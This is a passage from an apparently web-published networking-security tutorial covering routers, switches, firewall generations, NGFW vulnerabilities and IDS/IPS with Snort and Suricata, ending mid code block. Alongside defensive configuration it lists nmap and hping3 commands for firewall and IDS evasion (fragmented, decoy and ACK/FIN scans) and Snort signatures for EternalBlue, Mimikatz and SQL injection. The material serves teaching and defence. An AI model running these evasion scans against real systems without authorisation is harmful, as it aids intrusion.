                        │     ROUTER                        │
                        │  ┌──────────────────────┐         │
                        └──┤ eth0: 192.168.1.1/24  │         │
                           │ eth1: 10.0.0.254/8   ├─────────┘
                           │                       │
                           │  Routing Table:       │
                           │  10.0.0.0/8 → eth1   │
                           │  192.168.1.0/24 → eth0│
                           │  0.0.0.0/0 → ISP      │
                           └──────────────────────┘

Packet from 192.168.1.5 to 10.0.0.1:
  1. Arrives on eth0 (L2 stripped)
  2. Router checks: destination 10.0.0.1 → matches 10.0.0.0/8 → eth1
  3. Router decrements TTL (64 → 63)
  4. Router performs ARP for 10.0.0.1 (or next-hop)
  5. Creates new L2 frame with router's MAC as source
  6. Forwards out eth1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hub vs Switch vs Router Comparison:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Characteristic    Hub              Switch           Router
─────────────────────────────────────────────────────────────────────────
OSI Layer         1 (Physical)     2 (Data Link)    3 (Network)
Addressing        None             MAC addresses    IP addresses
Forwarding        All ports        Destination port  Next hop (routing table)
Broadcast domain  Shared           Shared           Separate per interface
Collision domain  Shared           Per port         Per interface
Traffic isolation None             Per port         Per network
Sniffing risk     Any connected    Requires MITM    Between networks only
Speed             Shared           Full duplex      Dependent on routing
Security features None             Port security,   ACLs, routing policy
                                   802.1X, DAI      
OT presence       Legacy (risk)    Dominant         Zone boundary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Switches replaced hubs specifically because hub behaviour — flooding all traffic to all ports — is a passive sniffing vulnerability by design. But switches are not immune: MAC flooding reverts switch behaviour to hub behaviour. The presence of an unmanaged switch (one that cannot enforce port security or DHCP snooping) in a security-sensitive environment has security implications equivalent to a hub.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Layer 2 vs Layer 3 Switch
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Distinction
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Layer 2 Switch:&lt;/strong&gt; Forwards frames based purely on MAC addresses. Cannot route between subnets. All ports are in the same routing domain — inter-VLAN communication requires an external router.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 Switch (Multilayer Switch):&lt;/strong&gt; Has the forwarding capability of a Layer 2 switch PLUS routing capability. Can route between VLANs internally using a routing engine. Faster than using a separate router for inter-VLAN traffic because routing is done in ASIC hardware rather than software.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INTER-VLAN ROUTING COMPARISON:

Router-on-a-Stick (L2 Switch + External Router):
  ┌─────────┐  trunk  ┌─────────┐
  │  L2 SW  ├─────────┤ Router  │
  │ VLAN 10 │         │ 10.0.0.1│  (sub-interfaces per VLAN)
  │ VLAN 20 │         │ 20.0.0.1│
  └─────────┘         └─────────┘
  All inter-VLAN traffic must traverse router link
  Bottleneck: single physical link, router CPU

Layer 3 Switch (SVIs — Switched Virtual Interfaces):
  ┌──────────────────────┐
  │     L3 SWITCH        │
  │ SVI VLAN10: 10.0.0.1 │  ← Virtual interface for VLAN 10
  │ SVI VLAN20: 20.0.0.1 │  ← Virtual interface for VLAN 20
  │                      │
  │ Internal routing at  │
  │ hardware speed       │
  └──────────────────────┘
  Inter-VLAN routing: wire-speed (Gbps)
  No bottleneck: routing in silicon
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Security Implications of L3 Switches
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ACLs on L3 switches vs firewalls:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;L3 switches can enforce ACLs (Access Control Lists) at line rate. This makes them valuable for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Blocking traffic between VLANs (even when routing between them)&lt;/li&gt;
&lt;li&gt;Rate-limiting specific traffic types&lt;/li&gt;
&lt;li&gt;Dropping known malicious traffic at the distribution layer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, L3 switch ACLs are NOT a substitute for firewalls:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No stateful inspection (cannot track TCP connection state)&lt;/li&gt;
&lt;li&gt;No application awareness&lt;/li&gt;
&lt;li&gt;No deep packet inspection&lt;/li&gt;
&lt;li&gt;No logging as sophisticated as dedicated firewalls&lt;/li&gt;
&lt;li&gt;No NAT capability typically
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View L3 switch routing table (Cisco IOS):&lt;/span&gt;
show ip route                          &lt;span class="c"&gt;# Full routing table&lt;/span&gt;
show ip route summary                  &lt;span class="c"&gt;# Summary with counts&lt;/span&gt;
show ip route 10.10.2.0               &lt;span class="c"&gt;# Route to specific network&lt;/span&gt;

&lt;span class="c"&gt;# View SVIs (switched virtual interfaces):&lt;/span&gt;
show interfaces vlan 10               &lt;span class="c"&gt;# Status of VLAN 10 SVI&lt;/span&gt;
show ip interface brief | include Vlan  &lt;span class="c"&gt;# All SVIs and their IPs&lt;/span&gt;

&lt;span class="c"&gt;# ACL on L3 switch:&lt;/span&gt;
&lt;span class="c"&gt;# Create ACL:&lt;/span&gt;
ip access-list extended BLOCK_USERS_TO_OT
 deny ip 10.10.1.0 0.0.0.255 10.20.0.0 0.0.0.255  &lt;span class="c"&gt;# Block users → OT&lt;/span&gt;
 permit ip any any

&lt;span class="c"&gt;# Apply to SVI (inbound on User VLAN):&lt;/span&gt;
interface Vlan10
 ip access-group BLOCK_USERS_TO_OT &lt;span class="k"&gt;in&lt;/span&gt;

&lt;span class="c"&gt;# Verify ACL:&lt;/span&gt;
show ip access-lists BLOCK_USERS_TO_OT
show interfaces vlan10 | include access list

&lt;span class="c"&gt;# Monitor ACL hits:&lt;/span&gt;
show ip access-lists BLOCK_USERS_TO_OT
&lt;span class="c"&gt;# "matches" count increases when traffic hits the rule&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;L3 Switches in OT Environments:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many industrial network designs use a single L3 switch as both the distribution switch AND the router between zones. This simplifies hardware but concentrates security risk:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One device compromise → routing control for all zones&lt;/li&gt;
&lt;li&gt;ACLs on the L3 switch may be the only segmentation between OT zones&lt;/li&gt;
&lt;li&gt;L3 switch firmware vulnerabilities affect routing security directly&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; A Layer 3 switch is a router built into a switch. The routing decisions happen in hardware (ASIC) rather than software, making inter-VLAN routing 10-100× faster than a software router. In security architecture, L3 switches provide efficient inter-VLAN routing with ACL enforcement but cannot replace firewalls for stateful inspection and application-layer control.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Firewall Types — Packet Filter to NGFW
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Firewall Evolution
&lt;/h3&gt;

&lt;p&gt;Firewalls have evolved through five generations, each adding capability — and attack surface. Understanding each generation explains why modern firewalls are complex and why older configurations leave gaps.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Generation 1 — Packet Filter (Stateless)
&lt;/h3&gt;

&lt;p&gt;The original firewall. Examines each packet independently against a ruleset. Makes decisions based on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source IP address&lt;/li&gt;
&lt;li&gt;Destination IP address&lt;/li&gt;
&lt;li&gt;Source port&lt;/li&gt;
&lt;li&gt;Destination port&lt;/li&gt;
&lt;li&gt;Protocol (TCP/UDP/ICMP)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Packet Filter Rule Example &lt;span class="o"&gt;(&lt;/span&gt;iptables&lt;span class="o"&gt;)&lt;/span&gt;:
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 0.0.0.0/0 &lt;span class="nt"&gt;-d&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;--dport&lt;/span&gt; 80 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-j&lt;/span&gt; DROP

&lt;span class="c"&gt;# This rule:&lt;/span&gt;
&lt;span class="c"&gt;# -A INPUT: append to INPUT chain&lt;/span&gt;
&lt;span class="c"&gt;# -s 0.0.0.0/0: from any source&lt;/span&gt;
&lt;span class="c"&gt;# -d 192.168.1.100: to this specific destination&lt;/span&gt;
&lt;span class="c"&gt;# -p tcp: TCP protocol&lt;/span&gt;
&lt;span class="c"&gt;# --dport 80: destination port 80 (HTTP)&lt;/span&gt;
&lt;span class="c"&gt;# -j ACCEPT: allow the packet&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fundamental Weakness — No State:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A packet filter sees each packet in isolation. It cannot distinguish between:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A TCP SYN starting a new connection (legitimate)&lt;/li&gt;
&lt;li&gt;A TCP ACK with no corresponding SYN (forged packet)&lt;/li&gt;
&lt;li&gt;A response to an established connection vs an unsolicited packet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;ACK Scan bypass:&lt;/strong&gt; If the firewall allows TCP port 80 inbound:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A legitimate SYN to port 80 → ALLOWED ✓ (starts HTTP connection)&lt;/li&gt;
&lt;li&gt;An attacker's ACK to port 80 → ALSO ALLOWED (firewall sees allowed port, can't check if connection established)&lt;/li&gt;
&lt;li&gt;The TCP stack on the target will RST the ACK, but the attacker now knows the host responds&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.3 Generation 2 — Stateful Inspection
&lt;/h3&gt;

&lt;p&gt;Stateful firewalls track the state of network connections in a state table. They remember which connections have been established and allow only packets that match an existing connection state.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Connection State Table:
┌──────────────────┬─────────────────┬──────────┬───────────┬──────────┐
│ Src IP:Port      │ Dst IP:Port     │ Protocol │ State     │ Timeout  │
├──────────────────┼─────────────────┼──────────┼───────────┼──────────┤
│ 192.168.1.5:54321│ 8.8.8.8:53      │ UDP      │ RELATED   │ 30s      │
│ 192.168.1.10:49000│ 93.184.216.34:80│ TCP     │ ESTABLISHED│ 3600s   │
│ 10.0.0.1:51234  │ 192.168.1.100:22│ TCP      │ ESTABLISHED│ 3600s   │
└──────────────────┴─────────────────┴──────────┴───────────┴──────────┘

Inbound packet: 8.8.8.8:53 → 192.168.1.5:54321 (DNS response)
  Firewall checks state table → finds matching entry → ALLOW (response to existing connection)

Inbound packet: 1.2.3.4:4444 → 192.168.1.5:54321 (unsolicited)
  Firewall checks state table → no matching entry → DROP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Stateful Firewall Limitations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No application awareness (allowed port 80 traffic can carry any application data)&lt;/li&gt;
&lt;li&gt;State table exhaustion attacks: send many half-open connections to fill state table&lt;/li&gt;
&lt;li&gt;Long-lived UDP connections: UDP is stateless, firewall must infer "connection" from traffic patterns&lt;/li&gt;
&lt;li&gt;Application layer attacks invisible (SQLi, XSS, malware in HTTP payload)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.4 Generation 3 — Application Layer Gateway (ALG)
&lt;/h3&gt;

&lt;p&gt;Application-aware firewalls understand specific protocols and can inspect application layer content. Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;FTP ALG: understands PORT/PASV commands, opens dynamic ports for data connections&lt;/li&gt;
&lt;li&gt;SIP ALG: understands VoIP signalling, tracks call state&lt;/li&gt;
&lt;li&gt;DNS ALG: inspects DNS responses for anomalies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ALGs introduce their own vulnerabilities — FTP ALG bugs have been exploited to traverse firewalls.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.5 Generation 4 — Next-Generation Firewall (NGFW)
&lt;/h3&gt;

&lt;p&gt;NGFW (term coined by Palo Alto Networks, 2007) combines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NGFW Capabilities:
┌────────────────────────────────────────────────────────────────────┐
│  Application Identification (App-ID)                               │
│  Identifies application regardless of port (Facebook over TCP 80)  │
│  Policy: Allow web browsing, block BitTorrent, even on same port   │
├────────────────────────────────────────────────────────────────────┤
│  User Identification (User-ID)                                     │
│  Ties traffic to specific users (via AD/LDAP integration)          │
│  Policy: "Allow IT staff to use SSH, block other users"            │
├────────────────────────────────────────────────────────────────────┤
│  SSL/TLS Inspection                                                │
│  Decrypts HTTPS traffic, inspects content, re-encrypts            │
│  Detects malware and data exfiltration in encrypted traffic        │
│  Privacy consideration: firewall sees all decrypted content        │
├────────────────────────────────────────────────────────────────────┤
│  Intrusion Prevention System (IPS)                                 │
│  Signature-based and behavioural threat detection                  │
│  Can block exploits, malware C2 traffic                            │
├────────────────────────────────────────────────────────────────────┤
│  URL Filtering / Web Categories                                    │
│  Block access to malicious, inappropriate, or prohibited sites     │
├────────────────────────────────────────────────────────────────────┤
│  Threat Intelligence Integration                                   │
│  Block known malicious IPs/domains from threat feed               │
├────────────────────────────────────────────────────────────────────┤
│  Sandboxing                                                        │
│  Execute suspicious files in isolated environment, detect malware  │
└────────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NGFW Vulnerabilities — The High-Value Target:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because NGFWs sit inline with all traffic and have TLS decryption keys, they are extremely high-value attack targets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2024-3400 (Palo Alto PAN-OS, April 2024):
  CVSS: 10.0 — Critical
  Component: GlobalProtect gateway (VPN)
  Impact: Unauthenticated Remote Code Execution as root
  Affected: PAN-OS 10.2, 11.0, 11.1 with GlobalProtect enabled
  Real-world exploitation: Volexity confirmed active exploitation by
  nation-state actor (UTA0218 — likely Volt Typhoon/Chinese APT)
  attacker used to: establish reverse shells, deploy backdoors,
  pivot to internal network
  Lesson: The firewall designed to protect the network became the
  entry point. Remote management interfaces and VPN gateways
  on NGFWs are prime targets.

CVE-2022-1388 (F5 BIG-IP iControl REST, May 2022):
  CVSS: 9.8 — Critical  
  Unauthenticated iControl REST endpoint allowed authentication bypass
  Attacker could execute arbitrary commands as root
  Within 48 hours of disclosure: mass exploitation observed globally

CVE-2020-5902 (F5 BIG-IP TMUI, July 2020):
  CVSS: 10.0
  Unauthenticated RCE on the Traffic Management User Interface
  BIG-IP handles load balancing + TLS termination + WAF for major enterprises
  Attackers accessed: SSL private keys, WAF bypass, lateral movement

Fortinet FortiOS SSL-VPN vulnerabilities (recurring):
  CVE-2022-42475: Heap overflow in SSL-VPN → RCE
  CVE-2023-27997: Pre-auth heap overflow → RCE
  Multiple Chinese APT campaigns specifically targeted Fortinet devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Firewall Rule Analysis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux iptables — view current rules:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;              &lt;span class="c"&gt;# All chains, numeric, verbose&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;--line-numbers&lt;/span&gt;  &lt;span class="c"&gt;# With line numbers for modification&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;       &lt;span class="c"&gt;# NAT table&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-S&lt;/span&gt;                    &lt;span class="c"&gt;# Exact rule syntax (can be used to rebuild)&lt;/span&gt;

&lt;span class="c"&gt;# nftables (modern Linux firewall):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nft list ruleset               &lt;span class="c"&gt;# Full ruleset&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nft list table inet filter     &lt;span class="c"&gt;# Specific table&lt;/span&gt;

&lt;span class="c"&gt;# Test firewall rules (hping3 — craft specific packets):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target_ip     &lt;span class="c"&gt;# TCP SYN to port 80 — is it open?&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target_ip     &lt;span class="c"&gt;# TCP ACK to port 80 — stateless fw bypass?&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target_ip     &lt;span class="c"&gt;# TCP FIN — FIN scan&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;--udp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 53 target_ip  &lt;span class="c"&gt;# UDP to port 53&lt;/span&gt;

&lt;span class="c"&gt;# Nmap firewall analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sA&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target_ip      &lt;span class="c"&gt;# ACK scan — map firewall rules&lt;/span&gt;
&lt;span class="c"&gt;# Open/closed: unfiltered (stateless fw may allow ACK)&lt;/span&gt;
&lt;span class="c"&gt;# No response: filtered (stateful fw drops unexpected ACK)&lt;/span&gt;

&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sF&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target_ip      &lt;span class="c"&gt;# FIN scan — some firewalls don't block FIN&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--mtu&lt;/span&gt; 8 target_ip    &lt;span class="c"&gt;# Fragmented SYN — bypass some IDS&lt;/span&gt;

&lt;span class="c"&gt;# Check for firewall evasion via fragmentation:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; target_ip         &lt;span class="c"&gt;# 8-byte fragments&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--mtu&lt;/span&gt; 24 target_ip   &lt;span class="c"&gt;# 24-byte fragments&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; RND:5 target_ip   &lt;span class="c"&gt;# Decoy scan (5 fake IPs)&lt;/span&gt;

&lt;span class="c"&gt;# Identify firewall type from responses:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--traceroute&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; firewall-bypass target_ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Firewall DMZ Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PROPER DMZ DESIGN:

Internet ──→ [External Firewall] ──→ DMZ ──→ [Internal Firewall] ──→ Internal LAN
                                      │
                               Web Server  Mail Server  DNS Server

Rules:
  External FW → DMZ:
    ALLOW: TCP 80, 443 to web server
    ALLOW: TCP 25 to mail server
    ALLOW: UDP 53 to DNS server
    DENY: all else

  DMZ → Internal FW:
    ALLOW: TCP 1433 from web server to DB server only
    ALLOW: TCP 389 from mail server to LDAP only
    DENY: all else

  Internal → External FW:
    ALLOW: TCP 80, 443 outbound (web browsing)
    ALLOW: UDP 53 to corporate DNS
    DENY: direct internet access on other ports

A compromised web server in DMZ:
  Can reach: only database server on specific port
  Cannot reach: workstations, other servers, domain controllers
  Lateral movement is restricted by design
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; NGFWs are the most powerful network security devices available — and they are the highest-value targets for sophisticated attackers. A compromised NGFW gives the attacker everything: TLS decryption keys, network topology visibility, the ability to bypass all inspection, and a position inline with all traffic. Every NGFW must be treated as critical infrastructure: hardened, monitored, and patched with the same urgency as domain controllers.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. IDS and IPS — Detection and Prevention
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 The Difference
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;IDS (Intrusion Detection System):&lt;/strong&gt; Monitors network traffic or host activity and ALERTS on suspicious patterns. It does not block traffic — it is a passive observer that generates alerts for security analysts to investigate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IPS (Intrusion Prevention System):&lt;/strong&gt; Deployed inline with traffic. Inspects every packet and can DROP, RESET, or MODIFY traffic in real time. If an IPS fails open (fails to block), traffic passes. If it fails closed, the network stops.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDS DEPLOYMENT (passive):
  Network traffic → ┬────────────────────→ Destination
                    └──→ [IDS] → Alerts → SIEM/SOC

  TAP or SPAN port copies traffic to IDS
  IDS reads copy — original traffic unaffected
  No latency impact
  Cannot block threats

IPS DEPLOYMENT (inline):
  Network traffic → [IPS] → Destination
                     ↓
                   Block/Alert/Log

  All traffic passes through IPS
  IPS can block, drop, or modify packets
  Adds latency (typically &amp;lt;1ms on modern hardware)
  High availability required (bypass mode if IPS fails)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Detection Methods
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Signature-Based Detection:&lt;/strong&gt;&lt;br&gt;
Matches traffic against a database of known attack patterns (signatures). Fast and precise for known attacks. Completely blind to novel (zero-day) attacks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example signatures (Snort format):
# Detect EternalBlue SMB exploit:
alert tcp any any -&amp;gt; any 445 (msg:"ET EXPLOIT Possible EternalBlue MS17-010"; \
    content:"|00 00 00 31|"; depth:4; content:"|ff|SMB2"; within:8; \
    sid:2024217; rev:1;)

# Detect Mimikatz credential dumping via network:
alert tcp any any -&amp;gt; any any (msg:"CREDENTIAL DUMP Possible Mimikatz"; \
    content:"sekurlsa"; nocase; sid:9000001; rev:1;)

# Detect SQL injection attempt:
alert tcp any any -&amp;gt; any 80 (msg:"SQL Injection Attempt"; \
    content:"UNION SELECT"; nocase; http_uri; sid:9000002; rev:1;)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Anomaly-Based Detection:&lt;/strong&gt;&lt;br&gt;
Establishes a baseline of "normal" behaviour and alerts when traffic deviates significantly. Can detect novel attacks. High false positive rate — every legitimate deviation generates an alert.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Anomaly detection examples:
  - DNS query volume per host: baseline = 100/hour, alert &amp;gt; 1000/hour
    (potential DNS tunnelling)
  - Outbound connections per host: baseline = 50/day, alert &amp;gt; 500/day
    (potential malware C2)
  - Data transferred per session: baseline = 1MB, alert &amp;gt; 100MB
    (potential data exfiltration)
  - Login failures per account: baseline = 0/hour, alert &amp;gt; 10/hour
    (brute force attack)
  - New external IP contacted: alert on first connection to never-seen IP
    (potential malware beacon)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Behavioural/Heuristic Detection:&lt;/strong&gt;&lt;br&gt;
Analyses sequences of events rather than individual packets. Detects attack patterns that span multiple packets or sessions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example behavioural rule:
  IF: host performs port scan (&amp;gt;50 unique ports in 60 seconds)
  AND: then connects to port 445 on a discovered host
  AND: then sends SMB traffic with specific byte patterns
  THEN: alert "Possible EternalBlue propagation attempt"

Individual events might be benign. The SEQUENCE is the indicator.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Snort and Suricata
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Snort&lt;/strong&gt; (2005, Cisco) and &lt;strong&gt;Suricata&lt;/strong&gt; (2010, OISF) are the dominant open-source IDS/IPS engines.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Snort on Ubuntu:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;snort

&lt;span class="c"&gt;# Basic Snort rule syntax:&lt;/span&gt;
&lt;span class="c"&gt;# action proto src_ip src_port direction dst_ip dst_port (options)&lt;/span&gt;
&lt;span class="c"&gt;# alert tcp 192.168.1.0/24 any -&amp;gt; any 445 (msg:"SMB Connection"; sid:1000001;)&lt;/span&gt;

&lt;span class="c"&gt;# Run Snort in IDS mode (alert only):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;snort &lt;span class="nt"&gt;-A&lt;/span&gt; console &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; /etc/snort/snort.conf &lt;span class="nt"&gt;-i&lt;/span&gt; eth0
&lt;span class="c"&gt;# -A console: output alerts to console&lt;/span&gt;
&lt;span class="c"&gt;# -q: quiet (no banner)&lt;/span&gt;
&lt;span class="c"&gt;# -c: config file&lt;/span&gt;
&lt;span class="c"&gt;# -i: interface&lt;/span&gt;

&lt;span class="c"&gt;# Run Snort on a pcap file (useful for analysis without live traffic):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;snort &lt;span class="nt"&gt;-A&lt;/span&gt; console &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; /etc/snort/snort.conf &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap

&lt;span class="c"&gt;# Install Suricata:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;suricata

&lt;span class="c"&gt;# Update Suricata rules (uses ET Open ruleset):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;suricata-update

&lt;span class="c"&gt;# Run Suricata in IDS mode:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;suricata &lt;span class="nt"&gt;-c&lt;/span&gt; /etc/suricata/suricata.yaml &lt;span class="nt"&gt;-i&lt;/span&gt; eth0

&lt;span class="c"&gt;# Run in IPS mode (requires nfqueue):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-I&lt;/span&gt; FORWARD &lt;span class="nt"&gt;-j&lt;/span&gt; NFQUEUE &lt;span class="nt"&gt;--queue-num&lt;/span&gt; 0
